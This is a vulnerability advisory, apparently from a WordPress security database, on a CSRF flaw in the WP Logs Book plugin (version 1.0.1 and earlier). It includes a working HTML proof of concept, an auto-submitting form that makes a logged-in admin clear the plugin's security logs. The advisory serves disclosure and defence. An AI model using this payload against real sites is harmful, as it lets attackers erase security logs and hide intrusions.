Lucene search

Bob MatyasWPEX-ID:F0C7FA00-DA6E-4F07-875F-7B85759A54B3

HistoryMay 31, 2024 - 12:00 a.m.

WP Logs Book <= 1.0.1 - Log Clearing via CSRF

2024-05-3100:00:00

Bob Matyas

wordpress

logs book

csrf

attack

admin

html

form

clearing

exploit

security

AI Score

6.6

Confidence

High

EPSS

0.001

Percentile

17.4%

JSON

Description The plugin does not have CSRF check when clearing logs, which could allow attackers to make a logged in admin clear the logs them via a CSRF attack

Make an admin open an HTML file containing:

```
<body onload="document.forms[0].submit()">
    <form action="https://wps-test.ddev.site/wp-admin/admin.php?page=wp-logs-book/login_attack_log" method="POST"> 
        <input name="clear_log" type="text" value="Clear log">
        <input type="submit" value="submit">
    </form>
</body>
```

Note: The 404 Error Logs can also be cleared by modifying the PoC